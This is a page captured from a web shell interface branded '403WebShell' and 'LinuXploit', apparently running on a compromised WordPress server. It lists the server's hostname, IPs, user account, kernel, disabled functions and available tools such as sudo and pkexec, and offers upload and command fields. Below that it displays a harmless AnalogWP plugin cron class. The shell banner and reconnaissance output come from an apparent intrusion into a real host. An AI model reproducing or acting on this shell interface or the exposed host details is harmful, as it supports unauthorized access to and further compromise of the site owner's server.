Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.216.226
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/analogwp-templates/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/analogwp-templates/inc/class-cron.php
<?php
/**
 * AnalogWP Maintenance.
 *
 * @package Analog
 */

namespace Analog;

/**
 * Analog\Cron class..
 *
 * This class handles scheduled events
 *
 * @since 1.1
 */
class Cron {
	/**
	 * Get things going
	 *
	 * @since 1.1
	 * @see Cron::weekly_events()
	 */
	public function __construct() {
		add_filter( 'cron_schedules', array( $this, 'add_schedules' ) );
		add_action( 'init', array( $this, 'schedule_events' ) );
	}

	/**
	 * Registers new cron schedules
	 *
	 * @since 1.1
	 *
	 * @param array $schedules Old schedules.
	 * @return array
	 */
	public function add_schedules( $schedules = array() ) {
		// Adds once weekly to the existing schedules.
		$schedules['weekly'] = array(
			'interval' => WEEK_IN_SECONDS,
			'display'  => __( 'Once Weekly', 'ang' ),
		);

		return $schedules;
	}

	/**
	 * Schedules our events
	 *
	 * @since 1.1
	 * @return void
	 */
	public function schedule_events() {
		$this->weekly_events();
	}

	/**
	 * Schedule weekly events
	 *
	 * @access private
	 * @since 1.1
	 * @return void
	 */
	private function weekly_events() {
		if ( ! wp_next_scheduled( 'analog/tracker/send_event' ) ) {
			wp_schedule_event( time(), 'weekly', 'analog/tracker/send_event' );
		}
	}
}


new Cron();

Youez - 2016 - github.com/yon3zu
LinuXploit